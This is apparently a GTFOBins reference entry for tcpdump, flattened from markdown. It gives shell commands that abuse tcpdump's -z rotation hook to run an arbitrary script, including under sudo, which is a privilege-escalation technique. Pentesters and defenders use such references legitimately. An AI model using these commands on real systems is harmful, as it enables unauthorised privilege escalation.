GTFOBins.github.io/_gtfobins/tcpdump.md

functions
execute-non-interactive suid-enabled code COMMAND='id > /tmp/output' TF=$(mktemp -u) echo "$COMMAND" > $TF chmod +x $TF tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF code COMMAND='id > /tmp/output' TF=$(mktemp -u) echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF